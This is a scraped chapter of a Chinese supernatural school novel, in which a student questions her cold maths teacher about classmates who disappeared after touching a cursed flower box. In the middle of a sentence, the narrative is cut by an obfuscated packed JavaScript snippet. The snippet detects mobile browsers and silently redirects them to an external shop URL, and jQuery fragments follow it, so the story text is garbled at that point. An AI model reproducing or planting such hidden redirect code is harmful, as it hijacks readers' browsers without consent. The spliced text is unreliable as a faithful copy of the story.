文趣网 > 其他小说 > 二中校园诡异记事 > 6. 老师我啊什么都知道
    被猜个正着,程棂让窘迫不已,“不是啊,怎么会有这回事呢。”

    “老师,你是不是在跟我们开玩笑呢。”程棂让还要添点窘迫般,干涩地笑道,“哈哈哈。”

    “我确实跟你在开玩笑。”孟老师面无表情。

    她往常就没有丰富的表情,现在更是像雪化之前的雪人。拥有了机械驱动的内心,模仿人类的情感似的,但是里面编程的表情种类稀少,她能发挥的也便稀少。

    “裘盛媛,你现在回教室。程棂让,你留下。”她安排道,镜片后的眼神仿佛藏在雾霭里,晦暗难明。

    “好,我知道了。”

    盛媛身为学生很听话,乖乖回教室。

    留下程棂让立定在原地,手指紧张地攥紧了校裤。

    “程棂让,你最近在查我?”孟老师口气很随意,仿佛浑不在意。

    程棂让却心如擂鼓,“我……我……”

    “没有。”飘出这两个字,她马上就抿了抿唇。过于心虚,两个字都像气音。

    她真的大脑宕机了。

    眼下不仅是调查孟老师,而且还被正主抓个正着,她压根不知道自己在讲什么。她还能说什么?

    “你确定没有吗?”孟老师撩头发,笑得温柔知性。

    “你还没有当上老师,可能不知道老师的一贯心态会是什么样子。”孟老师笑道,“来,老师问你,交份空白作业和交抄来的作业,哪种老师会更生气?”

    程棂让迟滞地“嗯”了一声,支支吾吾半天:“应该是交一份空白作业更过分吧。”

    “我小时候觉得不爱写作业索□□空白的同学很大胆,也很诚实。不想写就不写,但是我现在觉得其实他们更过分。”

    “简直是在挑衅老师。”

    孟老师点了点头,她的笑容仿佛是有标准模型的,永远浅淡平和优雅,“你说的对。”

    “所以,你说没有是在撒谎,但是我并没生气。相反,你跟我摊摊手,说你就是在跟踪的话,我倒真有点冒火了。”

    叽哩咕噜,讲什么呢,听不懂。

    她连十八都不到,分不出多余的心力听人讲故作高深的大道理。

    程棂让呆了一呆,“老师。”

    她凝视孟老师的笑,无端觉得这笑蛊惑人心,像是塞壬女妖的歌声,竟让她平地里产生一丝愤怒。

    她正视孟虔诚,“老师,您跟金瑞瑶是同学,那您知不知道她已经过世了?”

    孟老师举重若轻,“我知道。”

    这就承认了?程棂让诧异地挑眉,明亮的瞳眸里盛着孟老师平和的神情,“您知道?”

    “您怎么知道的?”

    “我知道呀。”孟老师笑笑,“半个月前她跳楼了。死相不大好看。她家里人悲痛欲绝,现在还没缓过来,也就现在还没发她的讣告。”

    程棂让刨根问底,“这些消息本该很私密,您有特殊的消息来源?”

    孟老师很有耐心,像传道授业解惑也的恩师,听不出任何不耐烦的情绪。

    “我跟金瑞瑶的私交一直很不错,跟她的家人们也算认识。大学时代,我经常去他们家吃饭,她母亲对我一直挺好的。”

    程棂让惊讶,但见孟老师的目光沉静,不由得感觉蹊跷。

    “您跟她关系好。您怎么能对她的死无动于衷,您好像没有特别伤心。”

    孟老师不反驳,“该怎么说,我从小就是淡人,甚至情感冷漠吧。我对世界上的一切都漠不关心,很少,具体来说是几乎没有能让我提起兴趣的东西、人还有事情。”

    程棂让不置评。

    早前听说过有种人类似空心人,仿佛被剥夺所有情感,或者说是基因里并没有被赋予。他们表面上看起来是正常人,然而没有感情。

    他爱你的时候,你能感觉到的是他精彩绝伦的演技。他在演爱你。

    孟老师略略低头,眸光忽而深沉,“而且,我看见她了。”

    程棂让惊叫,“您是说,您也看见她了?”

    孟老师平静如水,“就在你也看见我的那一天。”

    那一天,不就是她踢到花盒的那日?孟老师其实不仅看见了程棂让,还看见了金瑞瑶的阴魂,她目睹全程却无动于衷。

    程棂让愕然,她本以为只有她看见了飘,孟老师没看见所以才表现得很冷静,却原来她也看见了。并且,静静地,似乎以观赏独幕剧的形式观赏她深陷险境。

    程棂让心头火起,混杂几分对孟虔诚的厌恶。

    她绷紧了身子,下意识想往后退半步,索性理智压制了她做出任何举动。

    “那您是不是从唐籽安消失那天开始,就发现少了一个。后来那些一个又一个消失的同学,其实您全都记得。”

    程棂让掷地有声地说道:“您放任了他们的凭空失踪。”

    气氛突然宁静,静谧得诡异。

    孟老师干笑,“我得纠正你一点,我没有放任他们的失踪。”

    “带他们的消失的力量,我根本无法抵挡,如果我冲上前去,可能我也会被拖累到突然就不见了。”

    “我是老师没错。可我也是我父母的女儿,我丈夫的妻子,我孩子的母亲。明知道风险巨大,还去以身犯险,这叫愚蠢,愚不可及的愚蠢。”

    程棂让小声抗辩,“老师,你可以报警的。”

    孟老师目光如炬,“那你报警了吗?”

    程棂让噤声。

    她手攥紧校裤攥得更紧,凝视孟老师却只让自己心态不稳,她都有点怕跟孟虔诚对视了。

    孟老师冷笑,“看吧,你也没有报警,你也笃定报警会被当作精神病。”

    “你宁可偷偷摸摸让你的同学挖掘蛛丝马迹,哪怕挖到的信息含量并不高,”孟老师大拇指和食指比手势,“哪怕就那么点儿,进程缓慢得像蜗牛爬,你也没报警。”

    “我没猜错的话,班上这些同学失踪的消息,你还瞒着裘盛媛。你谁也没说。”

    程棂让再次噤声。

    人家四十岁上下的女人,平日里表现得云淡风轻,却原来是洞悉人性的高手。

    孟老师浅笑,“我既没有推波助澜他们失踪的发生,也没有阻挠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678442|207601||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人去调查背后隐情。我不过是不主动开口,不想主动参与。”

    “与我无关。”孟老师总结道,“我只是杭城二中一个普通教数学的老师。”

    程棂让笑得甜如蜜,“您真的普通?”

    “您要是普通的话,那您为什么也会记得失踪的同学们?记得他们是谁?”

    她用轻快明亮的话语问,表情也像白炽灯下盛开的昙花,洁白柔软纯良无害。

    程棂让的目的唯有挖掘背后真相,搞清楚里头究竟藏着何许古怪。

    她觉得孟老师很神秘,也很冷酷,不大像个好人。她不愿意得罪她。

    不管是不是好人,她都不愿意去得罪。追根溯源势必会引起她的不快,所以程棂让尽量做出明媚娇俏的模样,温吞软和地去问。

    “你在问老师这个问题的时候,老师能不能先问你,为什么你会记得?”

    “我本来不记得的,唐籽安第一个失踪,我全然记不起。接着,缪慧勤失踪,我也不记得。接下去那几个同学不见了,我还是不记得。”

    “但是就在您也看见我踢到花盒的那一晚,花盒里的光几乎吞没我,它像要将我吞下了,可是不知怎么的,它像呕吐了似的,从内向外溢出一股排斥的力量,将我摔了出来。”

    “摔在地上的一瞬间,我的脑袋里好像被电流急速穿过。白光乍现,我的脑海空白一片。”

    “然后,我就突然想起来,原来我们班上加上转学生宋云络应该有45个人的。只不过,他们忽然都消失了,并且,没有人记得他们。”

    “仿佛他们从来都不存在。”

    孟老师表情未见波澜,那夜她也亲眼看见白光没有像之前一般将程棂让吞下,当时她面上浮过惊诧之色,但过了两三天,那天的不同寻常已经不能激起她的情绪。

    “你知不知道为什么白光没吞下你?”

    “我不知道。”

    程棂让道:“老师你知道吗?”

    孟老师摇头,“我不知道。”

    “那么老师,为什么您会记得失踪的同学。按照校园诡异传说的说法,任何触碰过花盒的人都会消失不见。而且不会有人记得,就仿佛他们从不存在。”

    “我猜我能想起来是因为我也碰到了花盒,但是不知道为什么它没有成功让我消失,反而可能像是被反噬了一般让我记得缪慧勤他们。”

    “那么,老师您呢?”

    她着实好奇,眼睛恨不能一瞬不瞬地盯着孟老师看,但嘴上仍旧勾着笑意。

    孟老师叹了口气,她也笑,意味深长。

    “如果触碰了花盒的人会消失,并且所有人脑海里关于他们的记忆也会消失,那么你猜为什么关于花盒的传说为什么还能在校园里流传?”

    “几乎之后每一届学生都听说过?”

    程棂让脱口而出,“您的意思是并不是所有人都不会不记得?”

    孟老师施以肯定的笑,“棂让,你很聪明,你的成绩拔尖不是没有理由的。”

    “我记得。”

    “我也知道花盒的由来。”